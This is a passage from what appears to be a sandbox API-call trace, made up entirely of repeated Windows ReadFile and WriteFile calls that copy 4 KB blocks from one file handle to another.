lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.443] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.443] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.443] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.443] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.443] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.443] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.443] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.444] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.444] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.444] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.445] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.445] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.445] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.445] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.445] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.445] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.446] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.446] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.446] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.446] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.446] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.446] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.446] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.446] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.447] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.447] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.447] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.447] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.447] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.447] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.447] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.448] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.448] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.448] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.448] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.448] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.450] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.450] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.450] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.450] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.450] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.450] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.451] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.451] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.451] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.451] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.451] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.451] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.451] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.451] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.452] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.452] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.452] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.452] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.452] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.452] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.452] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.452] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.453] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.453] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.453] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.453] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.453] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.453] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.453] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.454] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.454] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.454] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.454] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.454] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.454] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.454] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.454] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.455] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.455] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.455] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.455] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.455] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.455] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.455] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.456] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.456] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.456] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.456] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.456] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.456] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.456] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.456] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.457] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.457] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.457] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.457] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.457] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.457] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.457] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.457] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.458] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, 